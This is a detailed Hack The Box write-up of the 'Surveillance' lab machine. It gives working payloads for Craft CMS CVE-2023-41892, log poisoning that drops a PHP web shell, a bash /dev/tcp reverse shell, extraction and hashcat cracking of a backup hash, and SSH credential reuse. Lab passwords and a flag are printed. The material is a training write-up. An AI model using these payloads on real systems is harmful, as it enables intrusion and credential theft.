PENTEST-STUDIO · TECHNICAL WRITEUP

HACK THE BOX · LINUX · MEDIUM

Surveillance

Complete technical writeup · reproducible exploitation

Surveillance machine solved

HTB Surveillance · 2026-05-16

Author	Ramon Santos Sabarich / r4ms4nt
Technical profile	Hack The Box · Linux · Medium · Retired
Objective	Document Craft CMS, ZoneMinder pivot, user and root with clear reusable traceability
Resolution date	2026-05-16

Standardized technical report for archiving, reference, and traceability.

READING GUIDE

Contents

Final technical report for archiving, reference and traceability. The index below follows the structure of the English Markdown source.

Surveillance — Hack The Box — Didactic writeup

Final consolidated document for PENTEST-STUDIO.
Machine: `Surveillance` · *Platform:* `Hack The Box` · *System:* `Linux` · *Difficulty:* `Medium` · *Status:* `Retired`
Documented resolution date: `16 May 2026` · *Laboratory reference timezone:* `Europe/Madrid`

Reading criteria

This document reconstructs the real resolution of `Surveillance` from the operational lab notes. The goal is not to present only a chain of commands, but to explain why each phase made sense, what evidence justified moving forward, and what reusable lessons each decision leaves behind.

Throughout the document, three planes are distinguished:

- Verified fact: observed output, command executed, file found, or credential validated.
- Reasonable inference: conclusion supported by evidence, but dependent on technical interpretation.
- Pending verification: point that should not be treated as certain unless it is supported by case evidence.

When an output was too long, only the evidentiary fragment is preserved. This decision maintains traceability without turning the writeup into a raw terminal dump.

Executive map of the compromise chain

Phase	Main evidence	Result
External enumeration	`22/tcp` and `80/tcp`; redirection to `surveillance.htb`	Initial surface reduced to SSH and HTTP
Web identification	`X-Powered-By: Craft CMS`; reference to `craftcms/cms/tree/4.4.14`	Craft CMS 4.4.14 confirmed
Initial exploitation	`CVE-2023-41892`; execution of `phpinfo()`	Execution primitive validated
Web shell	Log poisoning + `file_put_contents()`	Commands as `www-data`
Craft post-exploitation	SQL backup in `storage/backups`	SHA-256 hash for `Matthew B`
Offline cracking	`hashcat -m 1400`	Password `starcraft122490`
User access	SSH as `matthew`	`user.txt` obtained
Internal pivot	`127.0.0.1:8080`	ZoneMinder accessible through a tunnel
Authenticated RCE	ZoneMinder `daemonControl` API	Shell as `zoneminder`
Local escalation	`sudo zmdc.pl` + `ZM_LD_PRELOAD`	`/bin/bash` with SUID
Root	`/bin/bash -p`	`euid=0(root)` and `root.txt`

Separation of facts, inferences, and ambiguities

Verified facts

- The machine responded to TCP scans with `22/tcp` and `80/tcp` open.
- The HTTP service redirected to `http://surveillance.htb/`.
- The web application declared Craft CMS and the HTML referenced version `4.4.14`.
- The `CVE-2023-41892` primitive executed `phpinfo()`.
- A web shell was written to `/var/www/html/craft/web/shell.php`.
- A reverse shell was obtained as `www-data`.

- The Craft CMS SQL backup contained the hash for the user associated with `Matthew B`.
- The hash was cracked as SHA2-256 and produced the password `starcraft122490`.
- The password was valid over SSH for `matthew`.
- The ZoneMinder service was internally accessible on `127.0.0.1:8080`.
- The ZoneMinder API authenticated as `admin` with the same password.
- The API allowed obtaining a shell as `zoneminder`.
- The user `zoneminder` could execute `zm*.pl` scripts as `root` through passwordless `sudo`.
- The `ZM_LD_PRELOAD` option allowed loading a controlled shared library through `zmdc.pl`.
- `/bin/bash -p` provided a shell with `euid=0(root)`.
- `root.txt` was obtained and the platform confirmed the complete resolution.

Reasonable inferences

- The initial lack of ICMP response did not imply that the host was down; the TCP scan with `-Pn` demonstrated availability.
- The TTL observed in Nmap was consistent with Linux behind one network hop.
- The local error during the first attempts to write the web shell was caused by local interpretation of special characters by the attacker shell, not by a failure of the remote primitive.
- Password reuse across Craft CMS, SSH, and ZoneMinder was the link that allowed moving from web compromise to internal lateral movement.
- The combination of `sudo` over `zmdc.pl` and `ZM_LD_PRELOAD` was the critical escalation element, not a pre-existing SUID binary.

Documented ambiguities or incidents

- The initial execution of the ZoneMinder reverse shell showed a local incident while reading the token file, but the incoming connection as `zoneminder` validated that exploitation was effective.
- Compiling the library on the target failed due to the lack of `ld`; this was corrected by compiling it on Parrot and transferring the `.so`.

1. Case introduction

Surveillance is a Linux machine, rated Medium difficulty, and retired on Hack The Box.

2. Technical synthesis

Surveillance is a machine oriented around a compromise chain in a Linux environment that combines web application exploitation, analysis of exposed auxiliary components, and local privilege escalation. The resolution starts with the enumeration of a web service based on a CMS, evolves toward obtaining remote execution in the application, and requires continuing with a second analysis phase over additional software deployed on the system before reaching full escalation.

From a training perspective, it is a very useful machine for reinforcing web enumeration methodology, correlation between different installed services, and an orderly transition from initial compromise to Linux post-exploitation.

3. Preparation and initial reconnaissance

Execution of the `Inici-HTB` script

To start the lab, the custom `Inici-HTB` script was used as the common starting point for Hack The Box machines. This script automates several initial preparation and reconnaissance tasks:

- sets the active target in Polybar through `settarget`;
- prepares the base working structure for the machine;
- checks initial connectivity with the target;
- attempts to quickly identify the operating system through the TTL value;
- launches a full TCP port scan;
- automatically extracts the open ports;
- runs a second service and version scan over the detected ports;
- generates initial notes with the summary and suggested next step.

The initial execution was as follows:

```
 Inici-HTB Surveillance 10.129.230.42 medium
[*] Fijando objetivo en Polybar con settarget
[*] Preparando directorio base
[*] Comprobando conectividad inicial
PING 10.129.230.42 (10.129.230.42) 56(84) bytes of data.

--- 10.129.230.42 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

[*] Intentando identificación rápida con whichSystem.py

10.129.230.42 (ttl -> 1): Linux

[*] Lanzando escaneo completo de puertos
[sudo] contraseña para r4mon:
Lo siento, pruebe otra vez.
[sudo] contraseña para r4mon:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 17:09 CEST
Initiating SYN Stealth Scan at 17:09
Scanning 10.129.230.42 [65535 ports]
Discovered open port 80/tcp on 10.129.230.42
Discovered open port 22/tcp on 10.129.230.42
Completed SYN Stealth Scan at 17:09, 12.29s elapsed (65535 total ports)
Nmap scan report for 10.129.230.42
Host is up, received user-set (0.048s latency).
Scanned at 2026-05-14 17:09:30 CEST for 12s
Not shown: 65260 closed tcp ports (reset), 273 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.46 seconds
           Raw packets sent: 66480 (2.925MB) | Rcvd: 65286 (2.611MB)
[*] Extrayendo puertos abiertos
[*] Puertos abiertos detectados: 22,80
[*] Lanzando escaneo de servicios
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 17:09 CEST
Nmap scan report for 10.129.230.42
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
```

```
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.00 seconds
[*] Resumen inicial generado en: /home/r4mon/pentest/targets/HTB/medium/Surveillance/notes/00_resumen_inicial.md
[*] Siguiente paso generado en: /home/r4mon/pentest/targets/HTB/medium/Surveillance/notes/01_siguiente_paso.txt
[*] Flujo inicial completado
```

Technical commentary on the output

The initial check through `ping` did not obtain an ICMP response, with 100% packet loss. This result should not be interpreted as the host being down, since in lab environments ICMP is often filtered or is not reliable as the only availability indicator. The flow itself continues correctly because the TCP scan runs with `-Pn`, telling Nmap to treat the target as up without relying on previous host discovery.

The quick TTL-based identification points to a Linux system. Although the line shows `ttl -> 1`, the most reliable evidence appears later in the SYN scan, where the open ports respond with `ttl 63`. This value is consistent with a Linux system located one network hop away from the attacker machine, commonly starting from an initial TTL of 64.

The full TCP port scan detected only two exposed services:

Port	State	Service	Initial observation
22/tcp	open	SSH	Remote administration service
80/tcp	open	HTTP	Main web service

The second scan, focused on service and version detection, identified `OpenSSH 8.9p1 Ubuntu 3ubuntu0.4` on port 22 and `nginx 1.18.0 (Ubuntu)` on port 80. The server header confirms nginx on Ubuntu, and the HTTP title indicates a redirection to `http://surveillance.htb/`.

This redirection is an important enumeration finding: before continuing the web analysis, the name `surveillance.htb` must resolve locally to the machine IP. Without that entry in `/etc/hosts`, some routes, resources, virtual hosts, or application behaviors might not be observed correctly.

Therefore, the starting point is clearly defined: the initial surface is limited to SSH and HTTP, and the methodological priority becomes web enumeration on the virtual host `surveillance.htb`.

4. Initial exploitation — Craft CMS

Starting point

After the initial reconnaissance, the useful surface is centered on the HTTP service exposed on port 80. The server redirects to the virtual host `surveillance.htb`, so local hostname resolution is a prerequisite to observe the application correctly.

The official Hack The Box writeup describes the initial path as Craft CMS exploitation through `CVE-2023-41892`, a PHP object injection vulnerability that allows loading classes and abusing the application logs to achieve remote code execution. Before using this information as the operational route, it must be locally confirmed that the observed application really corresponds to Craft CMS and that the visible version matches the documented chain.

Objective of this phase

The immediate objective is not to obtain a shell hastily, but to close three prior validations:

1. confirm that `surveillance.htb` resolves to the active IP of the machine;

2. confirm that the web exposes Craft CMS and, if possible, its version;
3. minimally validate the primitive associated with `CVE-2023-41892` before moving to web shell writing or reverse shell execution.

Preparation and verification commands

```
TARGET_IP="10.129.230.42"
TARGET_HOST="surveillance.htb"
LAB="/home/r4mon/pentest/targets/HTB/medium/Surveillance"

cd "$LAB"
mkdir -p scans www notes loot

getent hosts "$TARGET_HOST" || echo "$TARGET_IP $TARGET_HOST" | sudo tee -a /etc/hosts
getent hosts "$TARGET_HOST"

curl -i "http://$TARGET_IP" | tee scans/http_ip_redirect.txt
curl -i "http://$TARGET_HOST" | tee scans/http_host_headers_body.txt

curl -sS "http://$TARGET_HOST" -o www/index.html

grep -RniE 'craft|cms|powered|version|github|surveillance' www/index.html scans/http_host_headers_body.txt
whatweb "http://$TARGET_HOST" | tee scans/whatweb_surveillance.txt
```

Advancement criteria

This phase should only move to Craft CMS exploitation if local evidence is observed for:

- web application served correctly through `surveillance.htb`;
- reference to Craft CMS or compatible components;
- version or sufficient signal to support the `CVE-2023-41892` hypothesis;
- coherent response from the `/index.php` endpoint.

If any of these pieces does not appear, the official route must be treated as an external hypothesis pending adjustment to the real lab state.

Local evidence obtained

The working environment was configured and the target variables were set:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

TARGET_IP="10.129.230.42"
TARGET_HOST="surveillance.htb"
LAB="/home/r4mon/pentest/targets/HTB/medium/Surveillance"

cd "$LAB"
mkdir -p scans www notes loot
```

Next, local resolution of the virtual host was validated. Since `surveillance.htb` did not yet resolve, the corresponding entry was added to `/etc/hosts`:

```
getent hosts "$TARGET_HOST" || echo "$TARGET_IP $TARGET_HOST" | sudo tee -a /etc/hosts
getent hosts "$TARGET_HOST"
```

Relevant output:

```
10.129.230.42 surveillance.htb
10.129.230.42   surveillance.htb
```

The HTTP behavior was then compared by accessing through IP and through hostname:

```
curl -i "http://$TARGET_IP" | tee scans/http_ip_redirect.txt
curl -i "http://$TARGET_HOST" | tee scans/http_host_headers_body.txt
```

The response by IP returned a `302 Moved Temporarily` redirection to `http://surveillance.htb/`, confirming that the virtual host is necessary to interact correctly with the application.

Relevant fragment:

```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Location: http://surveillance.htb/
```

The response by hostname returned `200 OK`, the `X-Powered-By: Craft CMS` header, and a corporate page titled `Surveillance`.

Relevant fragment:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Powered-By: Craft CMS

<title> Surveillance </title>
```

The complete HTML output was long, so it is not reproduced in full. The relevant elements were the page title, the `X-Powered-By` header, the email `demo@surveillance.htb`, and the footer that explicitly identifies Craft CMS.

A local copy of the HTML was saved and indicators of technology, version, and Craft CMS references were searched:

```
curl -sS "http://$TARGET_HOST" -o www/index.html

grep -RniE 'craft|cms|powered|version|github|surveillance' \
  www/index.html scans/http_host_headers_body.txt

whatweb "http://$TARGET_HOST" | tee scans/whatweb_surveillance.txt
```

The most important evidence appears in the footer:

```
Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14"/>Craft CMS</a>
```

And `whatweb` confirmed the same technology through headers and lightweight fingerprinting:

```
http://surveillance.htb [200 OK] Bootstrap, Email[demo@surveillance.htb], HTTPServer[Ubuntu Linux][nginx/1.18.0
(Ubuntu)], JQuery[3.4.1], Title[Surveillance], X-Powered-By[Craft CMS], nginx[1.18.0]
```

Interpretation

The local evidence confirms that the main application is correctly served through `surveillance.htb`, that the backend declares `Craft CMS` through the `X-Powered-By` header, and that the footer references the official Craft CMS repository on branch `4.4.14`.

With this data, the official writeup hypothesis aligns with the observed environment: the initial exploitation route should focus on Craft CMS `4.4.14` and vulnerability `CVE-2023-41892`.

The next methodological step consists of validating the PHP object injection primitive against `/index.php` in a controlled way, starting with an innocuous function such as `phpinfo()` before attempting to write a web shell or launch a reverse shell.

Primitive validation with `phpinfo()`

A POST request was prepared to abuse the `conditions/render` flow and the `GuzzleHttp\Psr7\FnStream` class in order to execute a function without arguments. In this first test, `phpinfo()` was used because it is an innocuous function and useful to confirm execution and recover internal paths.

Commands executed:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

cat > loot/craft_phpinfo_request.txt <<'EOF'
action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[user
Condition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":
[{"close":null}],"_fn_close":"phpinfo"}}
EOF

curl -sS -i -X POST 'http://surveillance.htb/index.php' -H 'Content-Type: application/x-www-form-urlencoded'
--data-binary @loot/craft_phpinfo_request.txt -o scans/craft_phpinfo_response.html

grep -Ei 'PHP Version|phpinfo|DOCUMENT_ROOT|error_log|Craft|SERVER_SOFTWARE|SCRIPT_FILENAME'
scans/craft_phpinfo_response.html | head -n 40
```

The response confirmed the execution of `phpinfo()`:

```
<title>PHP 8.1.2-1ubuntu2.14 - phpinfo()</title>
PHP Version 8.1.2-1ubuntu2.14
```

It also allowed recovering relevant internal paths and environment variables:

```
error_log => /var/www/html/craft/storage/logs/phperrors.log
SCRIPT_FILENAME => /var/www/html/craft/web/index.php
DOCUMENT_ROOT => /var/www/html/craft/web
SERVER_SOFTWARE => nginx/1.18.0
CRAFT_ENVIRONMENT => production
CRAFT_DB_DRIVER => mysql
CRAFT_DB_SERVER => 127.0.0.1
CRAFT_DB_PORT => 3306
CRAFT_DB_DATABASE => craftdb
CRAFT_DB_USER => craftuser
CRAFT_DB_PASSWORD => CraftCMSPassword2023!
```

The full `phpinfo()` output is not reproduced in full due to its length. For the writeup, the indicators that demonstrate execution and the internal paths required for the next phase are sufficient.

The test confirms that the `CVE-2023-41892` primitive is functional in the real environment. In addition, `DOCUMENT_ROOT` identifies the directory from which the application is served:

```
/var/www/html/craft/web
```

This data allows building the next phase: injecting PHP code into the Craft CMS logs and forcing it to load in order to write a web shell inside the web directory.

Incident while trying to write the web shell through the log

After validating `phpinfo()`, an attempt was made to write `shell.php` in the document root using the daily Craft CMS web log as a bridge. The date used for the log was `2026-05-14`, consistent with the date observed in the server HTTP responses.

Commands executed:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

LOG_DATE="2026-05-14"
LOG_FILE="/var/www/html/craft/storage/logs/web-${LOG_DATE}.log"
WEB_SHELL="/var/www/html/craft/web/shell.php"

echo "$LOG_FILE"
echo "$WEB_SHELL"
```

Relevant output:

```
/var/www/html/craft/storage/logs/web-2026-05-14.log
/var/www/html/craft/web/shell.php
```

The request body that forces log inclusion through `yii/rbac/PhpManager` was then created. Displaying the file with the pager showed the path visually wrapped across two lines, but that corresponds to output line wrapping and does not by itself prove that the file contains a real newline.

When sending the request with PHP inside the `User-Agent`, the local error appeared:

```
preexec: no existe el fichero o el directorio: /var/www/html/craft/web/shell.php
```

The subsequent web shell check returned a Craft CMS `Page Not Found` page, so `shell.php` was not written:

```
curl -sS 'http://surveillance.htb/shell.php?cmd=id' | tee scans/webshell_id.txt
```

Interpretation:

The error occurred in the attacker environment before the request had the expected effect on the target. The most likely cause is that the local shell interpreted part of the `User-Agent` content, especially the fragment between backticks, as local command substitution. When it attempted to redirect to `/var/www/html/craft/web/shell.php` on the attacker machine, that path did not exist and the error was generated.

The methodological conclusion is important: when transporting PHP code, backticks, redirections, or special characters inside an HTTP header, it is advisable to prevent the local shell from interpreting them. The cleanest way to continue is to move the header to a configuration file or use a construction that does not expose those characters directly to the local interpreter.

Second failed attempt and technique adjustment

The web shell check was repeated and the application again responded with the Craft CMS `Page Not Found` page. Therefore, `shell.php` still did not exist in the document root.

The output again showed the local error:

```
preexec: no existe el fichero o el directorio: /var/www/html/craft/web/shell.php
```

This result reinforces the previous interpretation: the problem is not in the `CVE-2023-41892` primitive, already validated with `phpinfo()`, but in the way the write payload is transported. The use of backticks and redirection inside the `User-Agent` remains fragile in the attacker environment.

The methodological adjustment consists of completely eliminating backticks, shell redirections, and locally interpretable substitutions. Instead of writing `shell.php` through a system command embedded in the header, pure PHP should be injected using `file_put_contents()` and `base64_decode()` to create the web shell. This variant reduces dependency on local quoting and keeps the exploitation inside the remote PHP interpreter.

Correct web shell writing

To prevent the local shell from interpreting special payload characters, the backtick-based technique was replaced with a pure PHP variant. Instead of executing a system command with redirection, the code injected into the log used `file_put_contents()` and `base64_decode()` to write the web shell directly from the remote PHP interpreter.

Commands executed:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

LOG_DATE="2026-05-14"
LOG_FILE="/var/www/html/craft/storage/logs/web-${LOG_DATE}.log"

cat > loot/craft_log_include_body.txt <<EOF
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as
":{"class":"\\yii\\rbac\\PhpManager","__construct()": [{"itemFile":"$LOG_FILE"}]}}
```

```
EOF

cat > loot/curl_poison_log_php_pure.conf <<'EOF'
url = "http://surveillance.htb/index.php"
request = "POST"
header = "Content-Type: application/x-www-form-urlencoded"
header = "User-Agent: <?php file_put_contents('/var/www/html/craft/web/shell.php',
base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+')); ?>"
data-binary = "@loot/craft_log_include_body.txt"
output = "scans/craft_log_poison_php_pure_response.txt"
include
silent
show-error
EOF

curl --config loot/curl_poison_log_php_pure.conf
curl --config loot/curl_poison_log_php_pure.conf

curl -sS 'http://surveillance.htb/shell.php?cmd=id' | tee scans/webshell_id.txt

printf '
--- Resumen webshell_id.txt ---
'
grep -E 'uid=|gid=|www-data|Page Not Found|404|error' scans/webshell_id.txt | head -n 20
```

Relevant output:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

--- Resumen webshell_id.txt ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Interpretation

The web shell was correctly written in the Craft CMS document root and allowed executing commands as `www-data`. This output closes the initial Craft CMS exploitation phase: the vulnerability not only allows invoking functions such as `phpinfo()`, but also writing a controlled PHP file and obtaining remote command execution in the context of the web server user.

The key difference between the failed attempt and the successful one was the payload transport. The variant with backticks and redirection was fragile because it could be interpreted by the local shell. The final variant used native PHP functions and reduced the risk of local interference.

Reverse shell as `www-data`

With the web shell validated, a reverse shell was launched toward the attacker's VPN interface. The local IP was obtained dynamically from `tun0` to avoid hardcoding the LHOST.

Command executed from the attacker machine to trigger the connection:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

LHOST="$(ip -o -4 addr show tun0 | awk '{print $4}' | cut -d/ -f1)"
LPORT="4444"

echo "[*] LHOST=$LHOST"
echo "[*] LPORT=$LPORT"

PAYLOAD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'"

curl -G 'http://surveillance.htb/shell.php' \
  --data-urlencode "cmd=$PAYLOAD" \
```

```
  -o scans/trigger_revshell_www-data_response.txt
```

Relevant output:

```
[*] LHOST=10.10.15.26
[*] LPORT=4444
```

In a second terminal, a listener was kept with `nc` and the session was saved to a file:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance


nc -lvnp 4444 | tee scans/revshell_www-data_nc.txt
```

The incoming connection confirmed a shell as `www-data` from the target IP:

```
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.230.42] 43198
bash: cannot set terminal process group (999): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web$
```

The shell was minimally stabilized with `script`, `TERM` was adjusted, and the context was validated:

```
script /dev/null -c bash
export TERM=xterm
stty rows 40 columns 120
id
whoami
hostname
pwd
ls -la
```

Relevant output:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
surveillance
/var/www/html/craft/web
```

The directory listing confirmed the presence of the web shell written during exploitation:

```
-rw-r--r--  1 www-data www-data   30 May 14 16:04 shell.php
```

Interpretation

The initial access phase is complete. Craft CMS exploitation allowed moving from a controlled execution primitive to an interactive shell as `www-data`, located in the application's web directory:

```
/var/www/html/craft/web
```

From this point, the methodology changes from web exploitation to local post-foothold enumeration. According to the official route, the next reasonable objective is to review the Craft CMS structure and look for backups generated by the application, especially under storage paths such as `storage/backups`.

Locating and analyzing the Craft CMS backup

After obtaining a shell as `www-data`, the focus shifted from web exploitation to local enumeration of the Craft CMS application. The application root directory contained configuration files, dependencies, templates, storage, and the web directory.

Commands executed:

```
cd /var/www/html/craft
pwd
ls -la
find . -maxdepth 4 -type f \( -iname "*.zip" -o -iname "*.sql" -o -iname "*.db" -o -iname "*.env" -o -iname "*.bak"
```

```
\) 2>/dev/null
ls -la storage
ls -la storage/backups 2>/dev/null
```

Relevant output:

```
/var/www/html/craft
-rw-r--r--  1 www-data www-data    836 Oct 21  2023 .env
./storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip
./.env
```

The `storage/backups` directory contained a compressed SQL backup generated by Craft CMS:

```
-rw-r--r-- 1 root root 19918 Oct 17  2023 surveillance--2023-10-17-202801--v4.4.14.sql.zip
```

The ZIP contents were reviewed:

```
cd /var/www/html/craft/storage/backups
unzip -l *.zip
```

Relevant output:

```
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   113365  2023-10-17 20:33   surveillance--2023-10-17-202801--v4.4.14.sql
```

After a first failed attempt due to not having copied the ZIP correctly to `/tmp`, the copy and extraction were repeated:

```
cd /var/www/html/craft/storage/backups
cp surveillance--2023-10-17-202801--v4.4.14.sql.zip /tmp/craft_backup.zip

cd /tmp
unzip -o craft_backup.zip
ls -la
grep -RniE "INSERT INTO .*users|admin@|Matthew|password|hash" surveillance--2023-10-17-202801--v4.4.14.sql
2>/dev/null
```

Relevant output:

```
Archive:  craft_backup.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
```

The search inside the SQL located the users table and a record for the Craft CMS administrator user:

```
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew
B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec',...);
```

Interpretation

The SQL backup contains an application-derived credential: user `admin`, associated identity `Matthew B`, email `admin@surveillance.htb`, and a password hash.

The extracted hash is:

```
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
```

By length and hexadecimal format, it matches a SHA-256 hash without a salt visible in the record itself. The next step consists of extracting it to a file and performing offline cracking. If a password is obtained, it should be validated in an orderly way against real local system identities, especially because the name `Matthew` appears associated with the Craft CMS user.

Offline cracking of the SHA-256 hash

The hash extracted from the SQL backup was transferred to the attacker machine for offline cracking. Before launching `hashcat`, the likely format was identified with `hashid`.

Commands executed on the attacker machine:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

cat > loot/matthew_hash.txt <<'EOF'
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
EOF

hashid loot/matthew_hash.txt
hashcat -m 1400 loot/matthew_hash.txt /usr/share/wordlists/rockyou.txt --show
```

`hashid` proposed several possible families for a 256-bit hexadecimal digest, including `SHA-256`:

```
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] SHA3-256
[+] Skein-256
```

Since `--show` still did not have a result in hashcat's cache, cracking was launched with mode `1400`, corresponding to SHA2-256:

```
hashcat -m 1400 loot/matthew_hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1400 loot/matthew_hash.txt /usr/share/wordlists/rockyou.txt --show
```

Relevant output:

```
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Recovered........: 1/1 (100.00%)
```

Interpretation

The hash for the Craft CMS administrator user was successfully cracked as SHA2-256. The recovered password was:

```
starcraft122490
```

This result should not automatically be assumed to provide system access. The correct methodology is to check whether there is a local user related to the identity `Matthew B` and validate credential reuse against available services, especially SSH, which was already exposed from the reconnaissance phase.

Validation of credential reuse and SSH access as `matthew`

After cracking the SHA-256 hash recovered from the Craft CMS SQL backup, the password obtained was:

```
starcraft122490
```

This result should not automatically be assumed to be a valid operating system credential. In a realistic environment, an application credential may be limited to the CMS itself, may have been changed on the system, or may correspond to an identity without a local user. For that reason, before building later phases on top of it, possible reuse was validated against the SSH service, which had already appeared exposed from the initial enumeration.

Access was tested against the user `matthew`, correlating the likely local name with the `Matthew B` identity located in the SQL backup:

```
ssh matthew@surveillance.htb
```

During the first connection, the host key was accepted:

```
The authenticity of host 'surveillance.htb (10.129.230.42)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'surveillance.htb' (ED25519) to the list of known hosts.
```

After entering the recovered password, the system opened an Ubuntu 22.04.3 LTS session:

```
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)
```

Once inside, the existence of relevant users in `/etc/passwd` was verified:

```
grep -E 'matthew|bash|sh$' /etc/passwd
```

Relevant output:

```
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
```

This output provides two readings. The first is immediate: `matthew` exists as a local user and has the interactive shell `/bin/bash`. The second is prospective: a `zoneminder` user also exists, matching the later presence of a ZoneMinder application on the system.

The session context was validated with basic commands:

```
id
whoami
hostname
pwd
ls -la
wc -c user.txt 2>/dev/null
```

Relevant output:

```
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)


matthew
surveillance
/home/matthew


-rw-r----- 1 root matthew 33 May 16 09:09 user.txt


33 user.txt
```

Finally, the user flag was read:

```
cat user.txt
```

Output:

```
1068b8ee7ba37430d97420164f0710b3
```

Reading the result

The password extracted from the web layer was reused in the operating system. This allowed abandoning a limited web shell as `www-data` and moving to a stable SSH session as `matthew`.

This transition is important for three reasons:

1. it provides operational stability;
2. it allows enumerating internal services more comfortably;
3. it creates a bridge between the initial vulnerable application and the local infrastructure that was not exposed externally.

Internal enumeration and ZoneMinder detection

With a stable SSH session as `matthew`, the next phase consisted of reviewing services accessible only from the machine itself. The initial external scan had shown only SSH and HTTP, but once inside the system it is necessary to review local listeners, sockets, and services bound to `127.0.0.1`.

Listening TCP ports were reviewed:

```
ss -lntp 2>/dev/null
netstat -lntp 2>/dev/null
```

Relevant output:

```
127.0.0.1:3306   LISTEN
127.0.0.1:8080   LISTEN
0.0.0.0:80       LISTEN
0.0.0.0:22       LISTEN
127.0.0.53:53    LISTEN
```

The key reading is the presence of two internal services:

Address	Port	Interpretation
`127.0.0.1`	`3306/tcp`	Local database
`127.0.0.1`	`8080/tcp`	Internal web application not visible externally

Port `8080/tcp` did not appear in the external scan because it only listens on localhost. To identify it, paths and installed packages related to ZoneMinder were reviewed:

```
ls -la /usr/share/zoneminder 2>/dev/null
```

Relevant output:

```
drwxr-xr-x   4 www-data www-data    4096 Oct 17  2023 .
drwxr-xr-x   2 root     zoneminder 36864 Oct 17  2023 db
drwxr-xr-x  13 root     zoneminder  4096 Oct 17  2023 www
```

Installed packages were also reviewed:

```
dpkg -l | grep -Ei 'zoneminder|apache|nginx|mysql|mariadb'
```

Relevant fragments:

```
ii  nginx                   1.18.0-6ubuntu14.4         amd64  nginx web/proxy server
ii  mariadb-server-10.6     1:10.6.12-0ubuntu0.22.04.1 amd64  MariaDB database server binaries
hi  zoneminder              1.36.32+dfsg1-1            amd64  video camera security and surveillance solution
```

The search for related processes returned no visible results for `matthew`:

```
ps aux | grep -Ei 'zoneminder|zms|zm|apache|nginx|mysql' | grep -v grep
```

Although that search did not show processes, the combined evidence of an internal listener on `127.0.0.1:8080`, the `/usr/share/zoneminder` path, and the `zoneminder 1.36.32` package allowed orienting the next phase toward ZoneMinder.

Implication for the next phase

The ZoneMinder service was not exposed on the external network interface. To interact with it from the attacker machine, an SSH tunnel was required. This pattern is essential in post-exploitation: many relevant applications only appear after reviewing localhost from an internal account.

Access to ZoneMinder through an SSH tunnel

The service identified on `127.0.0.1:8080` was exposed locally on the attacker machine through SSH port forwarding. The `matthew` session was used to map remote port `8080` to local port `8082`:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

ssh matthew@surveillance.htb -L 8082:127.0.0.1:8080
```

